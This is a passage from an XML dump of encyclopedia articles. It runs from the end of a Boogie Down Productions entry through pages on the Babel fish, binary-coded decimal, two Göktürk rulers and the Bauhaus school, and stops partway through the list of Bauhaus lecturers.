The membership of BDP changed continuously throughout its existence, the only constant being KRS One.  BDP members and collaborators included [[Mad Lion]], [[Channel Live]], [[Joseph Simmons|Run]], [[Keith Murray (rap)|Keith Murray]], [[McBoo]], [[Ms. Melodie]], [[Scottie Morris]], [[Willie D.]], [[Robocop (BDP)|Robocop]], [[Harmony (BDP)|Harmony]], [[DJ Red Alert]], [[DJ Jazzy Jay Kramer]], [[D-Square]], [[Rebekah (BDP)|Rebekah]], and [[Sidney Mills]].  BDP as group essentially ended because KRS One began recording and performing under his own name, rather than the group name.

==Discography==
* ''[[Criminal Minded (album)|Criminal Minded]]'' (B-Boy, 1987)
* ''Man &amp; His Music'' (B-Boy, 1988)
* ''By All Means Necessary'' (Jive/Zomba, 1988)
* ''Ghetto Music: The Blueprint of Hip Hop'' (Jive/Zomba, 1989)
* ''Edutainment'' (Jive/Zomba, 1990)
* ''Live Hardcore Worldwide'' (Jive/Zomba, 1991)
* ''Sex and Violence'' (Jive/Zomba, 1992)

==Singles==
'''From ''Ghetto Music: The Blueprint of Hip Hop'':'''
* 1989: &quot;Why Is That&quot;

'''From ''Edutainment'':'''
* 1990: &quot;Love's Gonna Getcha&quot;

'''From ''Sex and Violence'':'''
* 1992: &quot;Duck Down&quot;
* 1992: &quot;13 &amp; Good&quot;
* 1992: &quot;We in There&quot;

==External links==

[http://www.ohhla.com/YFA_krs.html Boogie Down Productions lyrics]

[[Category:American hip hop groups|Boogie Down Productions]]</text>
    </revision>
  </page>
  <page>
    <title>BABELFISH</title>
    <id>3818</id>
    <revision>
      <id>15902132</id>
      <timestamp>2003-09-26T16:44:58Z</timestamp>
      <contributor>
        <username>RadicalBender</username>
        <id>23743</id>
      </contributor>
      <comment>Revert - the redirect is the proper thing to do and that text appears to have been straight from the BabelFish web site</comment>
      <text xml:space="preserve">#REDIRECT [[Babel fish]]</text>
    </revision>
  </page>
  <page>
    <title>Babel fish</title>
    <id>3819</id>
    <revision>
      <id>41958072</id>
      <timestamp>2006-03-02T21:56:27Z</timestamp>
      <contributor>
        <username>Angr</username>
        <id>157842</id>
      </contributor>
      <minor />
      <comment>remove link to deleted article</comment>
      <text xml:space="preserve">{{dablink|For [[AltaVista]]'s web translation service, see [[Babel Fish (website)]].}}

[[Image:Babel Fish diagram.jpg|thumb|right|240px|Anatomy of a babel fish as explained in [[The Hitchhiker's Guide to the Galaxy (TV series)|the BBC TV series]].]]

The '''Babel fish''' is a [[fiction]]al species of [[fish]] in ''[[The Hitchhiker's Guide to the Galaxy]]'' by [[Douglas Adams]].

A Babel fish is a highly improbable [[biology|biological]] [[universal translator]].  It appears as a &quot;small, yellow and [[leech]]like&quot; fish.  When a Babel fish is inserted into the [[ear]] canal it allows the wearer to &quot;instantly understand anything said... in any form of language.&quot; This was both a useful [[plot device]] for Adams, who wrote on the subject that he always found the ability of all aliens to speak [[English language|English]] very strange; and also the starting point for a joke about the existence of [[God]].

According to the ''Hitchhiker's Guide'', the Babel fish was put forth as a [[fideism|fideist]] example for the non-existence of God:

:''&quot;I refuse to prove that I exist,&quot; says God, &quot;for [[scientific evidence|proof]] denies [[faith]], and without faith I am nothing.&quot;''

:''&quot;But,&quot; says Man, &quot;the Babel fish is a dead giveaway isn't it? It could not have [[evolution|evolved]] by chance. It proves that You exist, and so therefore, by Your own arguments, You don't. [[Q.E.D.]]&quot;''

:''&quot;Oh dear,&quot; says God, &quot;Oh dear, I hadn't thought of that,&quot; and promptly vanishes in a puff of [[logic]].''

:''&quot;Oh, that was easy,&quot; says Man, and for an encore goes on to prove that black is white and gets himself killed on the next [[zebra crossing]].''

The fish feeds on mental energy created while composing a sentence, and apparently excretes mental energy in a form that can be understood by others. It was revealed in the [[Quintessential Phase]] that it also, like [[dolphins]], has the power to effectively teleport itself and its host (in a plural zone) out of fatal danger.

&lt;!-- Image with unknown copyright status removed: [[Image:babelfish.gif|thumb|right|240px|A babel fish]] --&gt;

The fish's name refers to the [[Tower of Babel]], a [[Biblical]] story, which describes events in [[Abrahamic]] theology which led to [[God]] confusing the [[language]]s of Man in order to prevent the Tower's construction, among other things.

&quot;Babel&quot; is composed of two words from the [[Assyrian]] or [[Babylonian]] language, ''bab'' = &quot;gate&quot; and ''el'' = &quot;God&quot;, hence, &quot;the gate of God&quot;. The Bible states a guess-etymology from [[Hebrew language|Hebrew]] ''bilbul'' = &quot;confusion&quot; or ''bilbel'' = &quot;confused&quot;.

{{HitchhikerMiscellanea}}

[[Category:Hitchhiker's Guide to the Galaxy]]
[[Category:Fictional alien species]]
[[Category:Fictional fish]]
[[Category:Fictional parasites]]

[[de:Babelfisch]]
[[eo:Babelfiŝo]]
[[fr:Babel fish]]
[[it:Pesce di Babele]]
[[no:Babel fisk]]
[[hu:B%C3%A1bel-hal]]
[[fi:Baabelin kala]]
[[sv:Babelfisk]]</text>
    </revision>
  </page>
  <page>
    <title>Brain event</title>
    <id>3820</id>
    <revision>
      <id>35753297</id>
      <timestamp>2006-01-19T01:00:13Z</timestamp>
      <contributor>
        <username>Celcius</username>
        <id>287645</id>
      </contributor>
      <text xml:space="preserve">{{unreferenced}}

Anything that happens in the [[brain]] is a '''brain event.'''  While clearly a kind of [[physical event]], some philosophers, when they discuss [[the mind-body problem]], argue that ''some'' (certainly not all) brain events are also [[mental event]]s.

[[Category:Central nervous system]]

{{biology-stub}}</text>
    </revision>
  </page>
  <page>
    <title>Binary-coded decimal</title>
    <id>3821</id>
    <revision>
      <id>42154892</id>
      <timestamp>2006-03-04T04:31:58Z</timestamp>
      <contributor>
        <username>Jef-Infojef</username>
        <id>156187</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''Binary-coded decimal''' ('''BCD''') is, after character encodings, the most common way of encoding [[decimal]] digits in [[computing]] and in [[electronics|electronic]] systems. 

In BCD, a [[numerical digit|digit]] is usually represented by four ([[binary numeral system|binary]]) [[bit]]s, of which the leftmost (written conventionally) has value 8, and the remaining three have values 4, 2, and 1.  Many other ways of encoding ten values in four bits have been used, but in general only the combinations of bits which have values in the range 0-9 are valid.  (Other combinations are sometimes used for [[sign]] or other indications.)

==Basics==

To BCD-encode a decimal number using the common encoding, each digit is encoded using the four-bit binary bit pattern for each digit. For example, the number 127 would be:

 0001 0010 0111

Since most computers store data in eight-bit [[byte]]s, there are two common ways of storing four-bit BCD digits in those bytes:
*each digit is stored in one byte, and the other four bits are then set to all zeros, all ones (as in the [[EBCDIC]] code), or to 0011 (as in the [[ASCII]] code)
*two digits are stored in each byte.

A widely used variation of the two-digits-per-byte encoding is called &quot;packed BCD&quot;, where numbers end with a sign 'digit', for which the preferred values are 1100 for + and 1101 for &amp;minus;.  In packed BCD the number 127 would be represented as the bytes 00010010 01111100, and &amp;minus;127 as 00010010 01111101.   

While BCD does not make optimal use of storage (about 1/6 of the available memory is not used in packed BCD), conversion to ASCII, EBCDIC, or the various encodings of Unicode is trivial, as no arithmetic operations are required.  More dense packings of BCD exist; these avoid the storage penalty and also need no arithmetic operations for common conversions.

Unlike pure binary encodings large numbers can easily be displayed by splitting up the [[nibble]]s and sending each to a different character with the logic for each display being a simple mapping function. Converting from pure binary to decimal for display is much harder involving integer multiplication or divide operations.  The [[BIOS]] in PCs usually keeps the date and time in BCD format, probably for historical reasons (it avoided the need for binary to ASCII conversion).

BCD is still in wide use, and [[decimal]] arithmetic is often carried out using BCD or similar encodings.

==BCD in electronics==

BCD is very common in electronic systems where a numeric value is to be displayed, especially in systems consisting solely of [[digital]] [[logic]], and not containing a [[microprocessor]]. By utilising BCD, the manipulation of numerical data for display can be greatly simplified by treating each digit as a separate single sub-circuit. This matches much more closely the physical reality of display hardware—a designer might choose to use a series of separate identical [[7-segment display]]s to build a metering circuit, for example.  If the numeric quantity were stored and manipulated as pure binary, interfacing to such a display would require complex circuitry.  Therefore, in cases where the calculations are relatively simple working throughout with BCD can lead to a simpler overall system than converting to 'pure' binary.

The same argument applies when hardware of this type uses an embedded [[microcontroller]] or other small processor. Often, smaller code results when representing numbers internally in BCD format, since a conversion from or to binary representation can be expensive on such limited processors. For these applications, some small processors feature BCD arithmetic modes, which assist when writing routines that manipulate BCD quantities.

==Higher-density encodings==
If a decimal digit requires four bits, then three decimal digits require 12 bits.  However, since  2&lt;sup&gt;10&lt;/sup&gt;&gt;10&lt;sup&gt;3&lt;/sup&gt;, if three decimal digits are encoded together then only 10 bits are needed.  Two such encodings are  
''[[Chen-Ho encoding]]'' and ''[[Densely Packed Decimal]]''.  The latter has the advantage that subsets of the encoding encode two digits in the optimal 7 bits and one digit in 4 bits, as in regular BCD.

==IBM and BCD==
[[IBM]] used the terms '''binary-coded decimal''' and '''BCD''' for six-bit ''alphameric'' codes that represented numbers, upper-case letters and special characters. Some variation of BCD was used in most early IBM computers, including the [[IBM 1620]], [[IBM 1400 series]] and non-[[IBM 700/7000 series#Decimal Architecture (7070/7072/7074)|Decimal Architecture]] members of the [[IBM 700/7000 series]]. With the introduction of [[System/360]], IBM replaced BCD with 8-bit [[EBCDIC]].

Bit positions in BCD were usually labelled ''B, A, 8, 4, 2'' and ''1.''  For encoding digits, ''B'' and ''A'' were zero. The letter '''A''' was encoded ''(B,A,1).''

In the 1620 BCD ''alphamerics'' were encoded using digit pairs, with the &quot;zone&quot; in the even digit and the &quot;digit&quot; in the odd digit. Input/Output translation hardware converted between the internal digit pairs and the external standard six-bit BCD codes.

In the Decimal Architecture [[IBM 7070]], [[IBM 7072]], and [[IBM 7074]] ''alphamerics'' were encoded using digit pairs (using [[two-out-of-five code]] in the digits, '''not''' BCD) of the 10-digit word, with the &quot;zone&quot; in the left digit and the &quot;digit&quot; in the right digit. Input/Output translation hardware converted between the internal digit pairs and the external standard six-bit BCD codes.

==Addition With BCD==

To perform [[addition]] in BCD, you can first add-up in binary format, and then perform the [[conversion]] to BCD afterwards.  This conversion involves adding 6 to each group of four
digits that has a value of greater-than 9.  For example:

*9 (1001) + 6 (0110) = 15 (1111) in binary.

However, in binary we cannot have a value greater-than 9 (1001) per-group (&quot;[[nybble]]&quot;).
We must therefore add 6 to that group:

*1111 +6 (0110) = 10101

which gives us two-groups of four (the groups are every four digits from right-to-left, which themselves are read from left-to-right):

*1 and 0101 (which, in full groups of four, are: 0001 and 0101, making one byte, two nybbles).

This gives us the 15 in BCD which is the correct result: 0001 is a decimal 1, and 0101 a decimal 5.

See also [http://www.cs.uiowa.edu/~jones/bcd/bcd.html Douglas Jones' Tutorial].

==Background==

The binary-coded decimal scheme described in this article is the most common encoding, but there are many others.  The method here can be referred to as ''Simple Binary-Coded Decimal'' (''SBCD'') or ''BCD 8421''. 
&lt;!-- It is also sometimes named ''NBCD'' (''Naturally Binary-Coded Decimal''). (where?) --&gt;  
The '8421' indicates the four bit weights. 

The following table represents [[decimal]] digits from 0 to 9 in various BCD systems:

{| border=&quot;1&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot; align=&quot;left&quot; 
|-
! Digit
! &lt;br&gt;BCD&lt;br&gt;8421
! [[Excess-3]]
! &lt;br&gt;BCD&lt;br&gt;2421
! &lt;br&gt;BCD&lt;br&gt;&amp;nbsp;84&amp;minus;2&amp;minus;1
! [[IBM 702]] [[IBM 705]]&lt;br&gt;[[IBM 7080]] [[IBM 1401]]&lt;br&gt;8421
|- align=&quot;center&quot;
! 0
| 0000
| 0011
| 0000
| 0000
| 1010
|- align=&quot;center&quot;
! 1
| 0001
| 0100
| 0001
| 0111
| 0001
|- align=&quot;center&quot;
! 2
| 0010
| 0101
| 0010
| 0110
| 0010
|- align=&quot;center&quot;
! 3
| 0011
| 0110
| 0011
| 0101
| 0011
|- align=&quot;center&quot;
! 4
| 0100
| 0111
| 0100
| 0100
| 0100
|- align=&quot;center&quot;
! 5
| 0101
| 1000
| 1011
| 1011
| 0101
|- align=&quot;center&quot;
! 6
| 0110
| 1001
| 1100
| 1010
| 0110
|- align=&quot;center&quot;
! 7
| 0111
| 1010
| 1101
| 1001
| 0111
|- align=&quot;center&quot;
! 8
| 1000
| 1011
| 1110
| 1000
| 1000
|- align=&quot;center&quot;
! 9
| 1001
| 1100
| 1111
| 1111
| 1001
|-
|}
&lt;br clear=&quot;left&quot;&gt;&amp;nbsp;

==Legal history==

In 1972, the U.S. Supreme Court overturned a lower court decision which had allowed a patent for converting BCD encoded numbers to binary on a computer (see [http://caselaw.lp.findlaw.com/scripts/printer_friendly.pl?page=us/409/63.html Gottschalk v Benson]).  This was an important case in determining the patentability of software and algorithms.

==Comparison with pure binary==
&lt;!-- not at all clear why this needs to be here at all, shouldn't the article just describe BCD? (mfc)--&gt;
&lt;!--as an alternative number system for computing and electronics imo a comparison to the standard one is justified (plugwash)--&gt;
===Advantages===
* Scaling by a factor of 10 (or a power of 10) is simple, this is useful when a decimal scaling factor is needed to represent a non-integer quantity (e.g., in financial calculations where it is required that a computer gets the same result that a human would).
* Rounding at a decimal digit boundary is easier.
* Conversion to a character form or for display (e.g., to a character encoding such as XML, or to drive signals for a 7 segment display) is a simple per-digit mapping (conversion from pure binary involves relatively complex logic that spans digits, and gets geometrically worse as the length of the number increases).

===Disadvantages===
* Some arithmetic operations are more complex to implement.  [[Adder (electronics)|Adder]]s require extra logic to cause them to wrap and generate a carry early; however, carries take place one tenth as often.  Multiplication can be done by a simple shift-mask-add process in base ten.  15%-20% more circuitry is needed for BCD add compared to pure binary.

* BCD in raw form requires four bits per digit.  When packed so that three digits are encoded in ten bits, the extra storage requirement over pure binary is insignificant for most applications.
 
&lt;!-- commenting this out as it's a disadvantage of the processors, not of BCD :-).  * Most standard processors are designed around pure binary meaning BCD operations are likely to have to be done at least partially in software. --&gt;

==See also==
*[[Gray code]]

==External links==
*[http://www2.hursley.ibm.com/decimal/chen-ho.html IBM: Chen-Ho encoding]  
*[http://www2.hursley.ibm.com/decimal/DPDecimal.html IBM: Densely Packed Decimal].

==References==
*Schmid, Hermann, ''Decimal computation.'' New York, Wiley, 1974
*See also the [http://www2.hursley.ibm.com/decimal/decbibindex.html Decimal Arithmetic Bibliography]

[[Category:Computer arithmetic]]
[[Category:Numeration]]

[[cs:BCD]]
[[da:BCD (tal)]]
[[de:BCD-Code]]
[[es:Código binario decimal]]
[[fr:Binary coded decimal]]
[[he:עשרוני בקידוד בינארי]]
[[it:BCD]]
[[ja:&amp;#20108;&amp;#36914;&amp;#21270;&amp;#21313;&amp;#36914;&amp;#34920;&amp;#29694;]]
[[nl:BCD-code]]
[[pl:Kod BCD]]
[[sv:BCD]]
[[zh:二進碼十進數]]</text>
    </revision>
  </page>
  <page>
    <title>BCD</title>
    <id>3822</id>
    <revision>
      <id>42154366</id>
      <timestamp>2006-03-04T04:26:13Z</timestamp>
      <contributor>
        <username>Jef-Infojef</username>
        <id>156187</id>
      </contributor>
      <comment>+da</comment>
      <text xml:space="preserve">'''BCD''' is an [[Acronym and initialism|acronym]] with multiple meanings, including:
* [[Barrels per calendar day]], a unit for measuring output of [[oil refinery|oil refineries]]
* [[Binary-coded decimal]] numbering
* [[List of credentials in psychology|Board-certified diplomate]], a professional credential
* [[Buoyancy compensator|Buoyancy control device]] used in [[SCUBA]] diving
* The [[Brainchild Design]] website
* [[The British Columbia Dragoons]], a [[Canadian Forces]] [[armored warfare|armoured]] [[regiment]] based in [[Kelowna, British Columbia|Kelowna]] and [[Vernon, British Columbia]]
* [[Boot Configuration Data]], a computing term for the [[boot loader]] for [[Windows Vista]] and later operating systems.

{{TLAdisambig}}

[[da:BCD]]
[[fr:BCD]]</text>
    </revision>
  </page>
  <page>
    <title>Binary</title>
    <id>3823</id>
    <revision>
      <id>41203616</id>
      <timestamp>2006-02-25T19:38:27Z</timestamp>
      <contributor>
        <ip>70.18.172.50</ip>
      </contributor>
      <text xml:space="preserve">{{wiktionarypar|binary}}

'''Binary''' basically means ''composed of two parts''.

It may refer specifically to:
* [[Binary numeral system]], a representation for numbers using only two digits.
* [[Binary file]], a computer file that comprises a sequence of encoded numerical values rather than human-readable text, including an
** [[Executable file]], a computer file containing machine code that can be executed by the operating system.
* [[Binary (chemical weapon)]], one that contains two capsules, each of which contains a chemical, that when combined with the contents of the other, will react to make a toxic agent.
* [[Binary (astronomy)]], a star system with two stars.
* [[Binary (novel)]], a 1972 novel by Michael Crichton (writing as John Lange).
* [[Binary (comics)]], a superheroine in the Marvel Universe.

{{disambig}}

[[de:Binär]]
[[he:&amp;#1489;&amp;#1497;&amp;#1504;&amp;#1488;&amp;#1512;&amp;#1497;]]
[[gl:Binario]]
[[ja:&amp;#12496;&amp;#12452;&amp;#12490;&amp;#12522;]]
[[sv:Binär]]</text>
    </revision>
  </page>
  <page>
    <title>Babelfish</title>
    <id>3824</id>
    <revision>
      <id>42084148</id>
      <timestamp>2006-03-03T18:47:19Z</timestamp>
      <contributor>
        <ip>88.130.81.233</ip>
      </contributor>
      <comment>Fachpraktikum bei Emerson Process Management in der Abteilung</comment>
      <text xml:space="preserve">#REDIRECT [[Babel fish]]
Fachpraktikum bei Emerson Process Management in der Abteilung 
                                         Engineering / System integration</text>
    </revision>
  </page>
  <page>
    <title>Brave new world</title>
    <id>3825</id>
    <revision>
      <id>15902139</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>213.253.39.xxx</ip>
      </contributor>
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[Brave New World]] 
</text>
    </revision>
  </page>
  <page>
    <title>Bumin Khan</title>
    <id>3826</id>
    <revision>
      <id>39302036</id>
      <timestamp>2006-02-12T05:08:18Z</timestamp>
      <contributor>
        <username>BinaryTed</username>
        <id>709141</id>
      </contributor>
      <comment>Removed another user's self-inserted credit.</comment>
      <text xml:space="preserve">'''Bumin Khan''' (death: [[552]] AD) was the founder of the [[Gokturks|Kokturk]] state.

He is mentioned as &quot;Tumen&quot; (土門)in the ancient Chinese sources. His name means &quot;smoke cloud.&quot; Little is known about his life, and most of the information comes from legends in which he gathers a group of Turkic people living in a legendary place called Ergenikon located in the inaccessible valleys of the [[Altay Mountains]].

In 542 he put down a revolt of the Tieli tribes against their overlords the Avars(Ruan-Ruan).  In return he asked and was refused the hand of a Avar princess.  His next move was to successfully establish contact with the [[Wei]] state in China.  Records show in 545 a diplomatic mission lead by the Sogdian envoy [[An Nopantuo]] made an alliance sealed by Bumen's marriage to the princess [[Wei Chang'le]] (長樂公主).  The beginning of formal diplomatic relations with China gave him the credibility to unite the turkic tribes behind him and crush the [[Caucasian Avars|Avars]].  With their defeat he proclaimed the Turkic Empire([[Gökturk Khanate]])under his new title Il-Khağan(great-king, 伊利可汗) at the sacred [[Mt. Ötüuken]].  This empire expanded, in less than one century, to wide territories in [[Central Asia]]. He died in the same year he founded his state.

[[Category:552 deaths|Bumin Khan]]
[[Category:Gokturks]]
[[de:Bumin Ilkhan]]
[[tr:Bumin Kağan]]</text>
    </revision>
  </page>
  <page>
    <title>Bilge Khan</title>
    <id>3827</id>
    <revision>
      <id>33043581</id>
      <timestamp>2005-12-28T21:57:35Z</timestamp>
      <contributor>
        <username>Briangotts</username>
        <id>169027</id>
      </contributor>
      <minor />
      <comment>cat</comment>
      <text xml:space="preserve">'''Bilge Khan''' (''Arslan Bilgä Kha&amp;#287;an Bengü Ta&amp;#351;&amp;#305;''; [[683]] or [[684]] - [[734]]) was one of the most influential emperors of the [[Gokturks|Gokturk]] Empire.

His name literally means &quot;wise chieftain&quot;. In [[716]], he assumed the leadership together with his brother [[Kul Tigin]] after a coup against the previous ruler, his cousin [[Inal Khan]] who was a weak leader. Bilge Khan and [[Kul Tigin]] took their place in history as the wisest and most heroic figures among Turkish statesmen. They asserted that the state could not be ruled only by fighting and bravery and the Khanate should also require wisdom. 

His empire spanned from the [[Caspian Sea]] to [[Manchuria]] and he invaded the western sections of the [[China|Chinese]] territories. After he was killed by being poisoned, an inscription was erected near the [[Orhon River]] on a [[Orkhon Valley|monumental area]], which is known today as [[Orkhon inscriptions]].Orkhon Inscriptions immortalized Bilge Khan's  accomplishments.These inscriptions are the first written texts of the Turkish language.

[[Category:683 births|Bilge Khan]]
[[Category:734 deaths|Bilge Khan]]
[[Category:Gokturks]]
[[bg:&amp;#1041;&amp;#1080;&amp;#1083;&amp;#1075;&amp;#1077; &amp;#1093;&amp;#1072;&amp;#1085;]]</text>
    </revision>
  </page>
  <page>
    <title>Blend</title>
    <id>3828</id>
    <revision>
      <id>27364934</id>
      <timestamp>2005-11-04T17:07:25Z</timestamp>
      <contributor>
        <username>Wonderfool</username>
        <id>108476</id>
      </contributor>
      <comment>{{Wiktionarypar|}}</comment>
      <text xml:space="preserve">'''Blend''' can mean one of the following:
{{Wiktionarypar|blend}}
*[[Portmanteau|Portmanteau word]]
*Mixture of different [[tea]] or [[tobacco]] varieties.
*[[Conceptual blending]]
*Blending [[whisky]]
*[[Blend (cigarettes)|Blend]] brand cigarettes
{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Bells palsy</title>
    <id>3829</id>
    <revision>
      <id>15902143</id>
      <timestamp>2002-05-22T16:55:05Z</timestamp>
      <contributor>
        <username>Maveric149</username>
        <id>62</id>
      </contributor>
      <comment>#redirect [[Bell's palsy]]</comment>
      <text xml:space="preserve">#redirect [[Bell's palsy]]</text>
    </revision>
  </page>
  <page>
    <title>Bryce Canyon</title>
    <id>3830</id>
    <revision>
      <id>15902144</id>
      <timestamp>2004-01-20T13:52:21Z</timestamp>
      <contributor>
        <username>Pcb21</username>
        <id>7320</id>
      </contributor>
      <comment>#REDIRECT [[Bryce Canyon National Park]]</comment>
      <text xml:space="preserve">#REDIRECT [[Bryce Canyon National Park]]</text>
    </revision>
  </page>
  <page>
    <title>Britannica</title>
    <id>3831</id>
    <revision>
      <id>15902145</id>
      <timestamp>2003-03-11T03:57:28Z</timestamp>
      <contributor>
        <username>Toby Bartels</username>
        <id>1078</id>
      </contributor>
      <minor />
      <comment>#REDIRECT [[Encyclopædia Britannica]]</comment>
      <text xml:space="preserve">#REDIRECT [[Encyclopædia Britannica]]</text>
    </revision>
  </page>
  <page>
    <title>Bauhaus</title>
    <id>3832</id>
    <revision>
      <id>41191635</id>
      <timestamp>2006-02-25T17:57:58Z</timestamp>
      <contributor>
        <username>Piersmasterson</username>
        <id>121497</id>
      </contributor>
      <comment>/* Impact */</comment>
      <text xml:space="preserve">{{for|the British rock band|Bauhaus (band)}}
[[Image:Bauhaus.JPG|thumb|300px|Bauhaus (2003).]]
'''Bauhaus''' is the common term for the '''Staatliches Bauhaus''', an [[art]] and [[architecture]] school in [[Germany]] that operated from [[1919]] to [[1933]], and for the approach to design that it developed and taught. The most natural meaning for its name (related to the German verb for &quot;build&quot;) is ''Architecture House''. Bauhaus style became one of the most influential currents in [[Modernism|Modernist]] architecture.

==History==
[[Image:S_Weissenhof.jpg|thumb|right|300px|Weissenhof Siedlung in Stuttgart (1927).]]
The Bauhaus art school existed in three different cities ([[Weimar]] from 1919 to 1925, [[Dessau]] from 1925 to 1932, and [[Berlin]] from 1932 to 1933), under three different architect-directors ([[Walter Gropius]] from 1919 to 1928, [[Hannes Meyer]] from 1928 to 1930, and [[Ludwig Mies van der Rohe]] from 1930 to 1933). These changes of venue and leadership meant a constant shifting of focus, technique, instructors, and politics. When the school moved from Weimar to Dessau, for instance, the pottery shop was discontinued, although it had been an important revenue source. When Mies took over the school in 1930, he transformed it into a private school, and would not allow any supporters of Hannes Meyer to attend. 

The school was founded by Gropius at the conservative city of Weimar in [[1919 in architecture|1919]], as a merger of the Weimar School of Arts and Crafts (Grossherzogliche Kunstgewerbeschule) and the Weimar Academy of Fine Arts (Grossherzogliche Hochschule für Bildende Kunst). Most of the contents of the workshops had been sold off during [[World War I]]. The early intention was for the Bauhaus to be a combined architecture school, crafts school, and academy of the arts. Much internal and external conflict followed.

Gropius argued that a new period of history had begun with the end of the war. He wanted to create a new architectural style to reflect this new era. His style in architecture and consumer goods was to be functional, cheap, and consistent with mass production. To these ends, Gropius wanted to reunite art and craft to arrive at high-end functional products with artistic pretensions. The Bauhaus issued a magazine called &quot;Bauhaus&quot; and a series of books called &quot;Bauhausbücher&quot;. Its head of printing and design was [[Herbert Bayer]].

The Bauhaus was largely subsidized by the early [[Weimar Republic]]. After a change in local government, the school moved to [[Dessau]] in [[1925]], where the civic atmosphere was more industrial and progressive. After the Bauhaus moved to Dessau, a school of industrial design with teachers and staff less antagonistic to the conservative political regime remained in Weimar. This school was eventually known as the Technical University of Architecture and Civil Engineering and in 1996 changed its name to [[Bauhaus University Weimar]]. In 1927, the Bauhaus style and its most famous architects heavily influenced the exhibition &quot;Die Wohnung&quot; (&quot;The Dwelling&quot;) organized by the [[Deutscher Werkbund]] in [[Stuttgart]]. A major component of that exhibition was the [[Weissenhof Siedlung]], a settlement or housing project.

Gropius was succeeded by Meyer, and then in turn by Mies. Under increasing political pressure the Bauhaus was closed on the orders of the [[Nazi Germany|Nazi regime]] in 1933. The [[National Socialist German Workers Party|Nazi Party]] and other fascist political groups had opposed the Bauhaus throughout the [[1920s]]. They considered it a front for communists, especially because many [[Russia|Russian]] artists were involved with it. Consequently, many Weissenhof architects fled to the [[Soviet Union]], thus strengthening the effect. [[Nazism|Nazi]] writers such as [[Wilhelm Frick]] and [[Alfred Rosenberg]] called the Bauhaus &quot;un-German,&quot; and criticized its modernist styles. (See [[degenerate art]].)

==Architectural output==
The paradox of the early Bauhaus was that, although its manifesto proclaimed that the ultimate aim of all creative activity was building, the school wouldn't offer classes in architecture until 1927. The single most profitable tangible product of the Bauhaus was its wallpaper. 

During the years under Gropius (1919&amp;ndash;1927), he and his partner [[Adolf Meyer (architect)|Adolf Meyer]] observed no real distinction between the output of his architectural office and the school. So the built output of Bauhaus architecture in these years is the output of Gropius: the Sommerfeld house in Berlin, the Otte house in Berlin, the Auerbach house in Jena, and the competition design for the Chicago [[Tribune Tower]], which brought the school much attention. The definitive 1926 Bauhaus building in Dessau is also attributed to Gropius. Student work amounted mainly to unbuilt projects, interior finishes, and craft work like cabinets, chairs and pottery. 

In the two years under the outspoken Swiss Communist architect Hannes Meyer, the architectural focus shifted away from aesthetics and towards user requirements. But there were major commissions: one by the city of Dessau for five tightly designed &quot;Laubenganghäuser&quot; (apartment buildings with balcony access), which are still in use today, and another for the headquarters of the Federal School of the German Trade Unions (ADGB) in [[Bernau bei Berlin]]. Meyer's approach was to research users' needs and scientifically develop the design solution. 

And then Mies van der Rohe repudiated Meyer's politics, his supporters, and his architectural approach. As opposed to Gropius' &quot;study of essentials&quot;, and Meyer's research into user requirements, Mies advocated a &quot;spatial implementation of intellectual decisions&quot;, which effectively meant an adoption of his own aesthetics. Neither Mies nor his Bauhaus students saw any projects built during the 1930s. 

The popular conception of the Bauhaus as the source of extensive Weimar-era working housing is not accurate. One single project, the apartment building project in Dessau, falls in that category, and it's fair to say that developing worker housing was not the first priority of Gropius nor Mies. It was the Bauhaus contemporaries [[Bruno Taut]], [[Hans Poelzig]] and particularly [[Ernst May]], as the city architects of Berlin, [[Dresden]] and [[Frankfurt]] respectively, who are rightfully credited with the thousands of socially progressive housing units built in Weimar Germany.

==Impact==
The Bauhaus had a major impact on art and [[architecture]] trends in [[Western Europe]], the [[United States]] and [[Tel Aviv]] in the decades following its demise, as many of the artists involved fled or were exiled by the Nazi regime. 

Gropius, Breuer, and Moholy-Nagy re-assembled in England during the mid 1930s to live and work in the [[Isokon]] project before the war caught up to them. In the late 1930s Mies van der Rohe re-settled in Chicago and became one of the pre-eminent architects in the world. Moholy-Nagy also went to Chicago and founded the [[New Bauhaus]] school under the sponsorship of industrialist and philanthropist [[Walter Paepcke]]. Herbert Bayer, also sponsored by Paepcke, moved to [[Aspen, Colorado]] in support of Paepcke's Aspen projects. 

Both Gropius and Breuer went to teach at the [[Harvard Graduate School of Design]] and worked together before their professional split in 1941. The Harvard School was enormously influential in the late 1940s and early 1950s, producing such students as [[Philip Johnson]], [[I.M. Pei]], [[Lawrence Halprin]] and [[Paul Rudolph (architect)|Paul Rudolph]], among many others. 

One of the main objectives of the Bauhaus was to unify art, craft, and technology. The machine was considered a positive element, and therefore industrial and product design were important components. '''Vorkurs''' (&quot;initial course&quot;) was taught; this is the modern day '''Basic Design''' course that has become one of the key foundational courses offered in architectural schools across the globe. There was no teaching of history in the school because everything was supposed to be designed and created according to first principles rather than by following precedent. 

One of the most important contributions of the Bauhaus is in the field of [[furniture design]]. The world famous and ubiquitous [[Cantilever chair]] by Dutch designer [[Mart Stam]], using the tensile properties of steel, and the [[Wassily Chair]] designed by [[Marcel Breuer]] are two examples.

The physical plant at Dessau survived the War and was operated as a design school with some architectural facilities by the Communist [[East Germany|German Democratic Republic]]. This included live stage productions in the Bauhaus theater under the name of ''Bauhausbühne'' (&quot;Bauhaus Stage&quot;). After [[German reunification]], a reorganized school continued in the same building, with no essential continuity with the Bauhaus under Gropius in the early 1920s [http://www.bauhaus-dessau.de/en/]. 

In 1999 Bauhaus-Dessau College started to organize postgraduate programs with participants from all over the world. This effort has been supported by the Bauhaus-Dessau Foundation which was founded in 1994 as a public institution.

American art schools have also rediscovered the Bauhaus school. The [[Master Craftsman Program]] at [[Florida State University]] bases its artistic philosophy on Bauhaus theory and practice.

Many outstanding artists of their time were lecturers at Bauhaus:
{| style=&quot;background-color: transparent; width: {{{width|100%}}}&quot;
| width=&quot;{{{width|}}}&quot; align=&quot;{{{align|left}}}&quot; valign=&quot;{{{valign|top}}}&quot; |
* [[Anni Albers]]
* [[Josef Albers]]
* [[Marianne Brandt]]
* [[Marcel Breuer]]
* [[Lyonel Feininger]]
* [[Naum Gabo]]
* [[Ludwig Hilberseimer]]
* [[Johannes Itten]]
* [[Wassily Kandinsky]]
* [[Paul Klee]]
